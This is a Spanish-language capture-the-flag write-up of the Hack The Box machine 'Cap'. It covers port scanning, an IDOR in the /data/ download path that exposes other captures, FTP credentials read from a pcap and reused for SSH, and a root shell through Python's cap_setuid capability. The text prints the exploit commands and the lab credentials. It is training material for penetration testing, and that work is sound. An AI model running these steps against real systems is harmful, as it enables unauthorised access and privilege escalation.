

Cap - HTB
Introducción
La máquina Cap
de Hack The Box es una máquina Linux clasificada como fácil
. Para su resolución, comencé realizando un escaneo de puertos que reveló una página web en ejecución en el puerto 80. Esta página permitía descargar un reporte de tráfico de red, pero presentaba una vulnerabilidad de tipo IDOR
, la cual exploté para acceder a otros reportes.
Al analizar uno de estos archivos con Wireshark
, descubrí credenciales que me permitieron autenticarme en el servicio FTP
, donde obtuve la primera flag (user.txt). Gracias al reúso de credenciales, estas mismas credenciales funcionaron para acceder al sistema mediante SSH
, logrando así una shell de usuario.
Finalmente, tras ejecutar el script LinPEAS
, identifiqué una vulnerabilidad relacionada con las capacidades de Python cap_setuid
. Aprovechando esta configuración, escalé privilegios cambiando mi UID
y obtuve una shell como root
, completando la máquina.
Reconocimiento Inicial
Nmap
Realicé un escaneo inicial con nmap
para identificar servicios activos:
zynth3t1k@n00n3$ nmap -p- --min-rate 10000 10.10.10.245Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 21:21 CDTNmap scan report for cap.htb (10.10.10.245)Host is up (0.086s latency).Not shown: 65532 closed tcp ports (reset)PORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 8.43 seconds
Encontré tres puertos abiertos, así que procedí a realizar un escaneo más detallado para obtener información sobre las versiones y configuraciones:
zynth3t1k@n00n3$ nmap -p21,22,80 -sVC --min-rate 10000 10.10.10.245Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 21:22 CDTNmap scan report for cap.htb (10.10.10.245)Host is up (0.089s latency).
PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.322/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)80/tcp open http Gunicorn|_http-title: Security Dashboard|_http-server-header: gunicornService Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 11.03 seconds
Dado que el puerto 80 alojaba una página web, agregué el dominio cap.htb
a mi archivo /etc/hosts
para facilitar el acceso.
Página web
Al acceder al sitio, encontré un panel de seguridad con varias secciones de análisis de red:
La única sección que llamó mi atención fue Security Snapshot
, que parecía mostrar un reporte rápido del tráfico de red:
Al descargar el reporte y analizarlo con Wireshark, no encontré información relevante. Sin embargo, al revisar nuevamente la página, noté que el enlace de Security Snapshot
cambiaba dinámicamente, junto con el número de paquetes mostrados en el reporte:
Esto me indicó que la aplicación estaba recuperando archivos almacenados en la ruta /data/
, sugiriendo un posible acceso a otros reportes
.
Explotación de Vulnerabilidad IDOR
Al notar que la URL cambiaba dinámicamente (ejemplo: /data/5
, /data/4
, etc.), probé modificar manualmente el parámetro para acceder a otros archivos. Confirmé así que existía una vulnerabilidad IDOR
, permitiéndome descargar reportes fuera del alcance previsto. El reporte que mas capto mi atención fue el 0
ya que fue el que tenia mayor trafico de red registrado:
Análisis de Tráfico y Acceso Inicial
Identificación de Credenciales en el PCAP
Al analizarlo con Wireshark
descubrí una interacción con el servicio FTP la cual nos mostraba las credenciales nathan:Buck3tH4TF0RM3!
:
Acceso al Servicio FTP
Las credenciales fueron validadas exitosamente, permitiéndome conectarme al servicio:
Connected to 10.10.10.245.220 (vsFTPd 3.0.3)331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp>
User Flag
Dentro del directorio FTP, identifiqué y descargué la flag del usuario:
ftp> dir229 Entering Extended Passive Mode (|||55386|)150 Here comes the directory listing.-r-------- 1 1001 1001 33 May 16 02:17 user.txt226 Directory send OK.ftp> get user.txtlocal: user.txt remote: user.txt229 Entering Extended Passive Mode (|||33345|)150 Opening BINARY mode data connection for user.txt (33 bytes).100% |**************************************************************************************************************************************************| 33 467.05 KiB/s 00:00 ETA226 Transfer complete.33 bytes received in 00:00 (0.37 KiB/s)
Verificación local del archivo:
zynth3t1k@n00n3$ lsduser.txt
Acceso al Servicio SSH
Tomando en cuenta lo común que es la reutilización de contraseñas, ingrese las credenciales en el servicio SSH
, las cuales funcionaron:
[email protected]'s password:Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage
System information as of Fri May 16 03:03:49 UTC 2025
System load: 0.0 Usage of /: 36.6% of 8.73GB Memory usage: 21% Swap usage: 0% Processes: 222 Users logged in: 0 IPv4 address for eth0: 10.10.10.245 IPv6 address for eth0: dead:beef::250:56ff:feb0:aef4
* Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
63 updates can be applied immediately.42 of these updates are standard security updates.To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.To check for new updates run: sudo apt update
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7nathan@cap:~$
PrivEsc
Transferencia de LinPEAS
Para identificar posibles vectores de escalada, descargué el script LinPEAS desde mi máquina local a la víctima. Usando Python inicie un servidor HTTP local en mi máquina:
zynth3t1k@n00n3$ python3 -m http.serverServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Usando wget
la descargue en la máquina víctima:
nathan@cap:~$ wget http://10.10.14.9:8000/linpeas.sh--2025-05-16 03:16:44-- http://10.10.14.9:8000/linpeas.shConnecting to 10.10.14.9:8000... connected.HTTP request sent, awaiting response... 200 OKLength: 840139 (820K) [text/x-sh]Saving to: ‘linpeas.sh’
linpeas.sh 100%[=================================>] 820.45K 1.87MB/s in 0.4s2025-05-16 03:16:44 (1.87 MB/s) - ‘linpeas.sh’ saved [840139/840139]
Ejecución y Análisis de LinPEAS
Al ejecutar el script, descubrí una capacidad interesante en Python:
[...]╔══════════╣ Capabilities╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities
Files with capabilities (limited to 50):/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip[...]
La capacidad cap_setuid
permite a Python cambiar su UID, incluyendo la posibilidad de establecerlo como root UID=0
.
Root Shell
cap_setuid
Esto puede explotarse para obtener una shell con privilegios root de la siguiente manera:
nathan@cap:~$ python3Python 3.8.5 (default, Jan 27 2021, 15:41:15)[GCC 9.3.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> import os>>> os.setuid(0)>>> os.system("/bin/bash")root@cap:~#
Root Flag
Una vez dentro como root
solo hace falta buscar nuestra flag:
root@cap:~# ls /root/root.txt
← Regresar al blog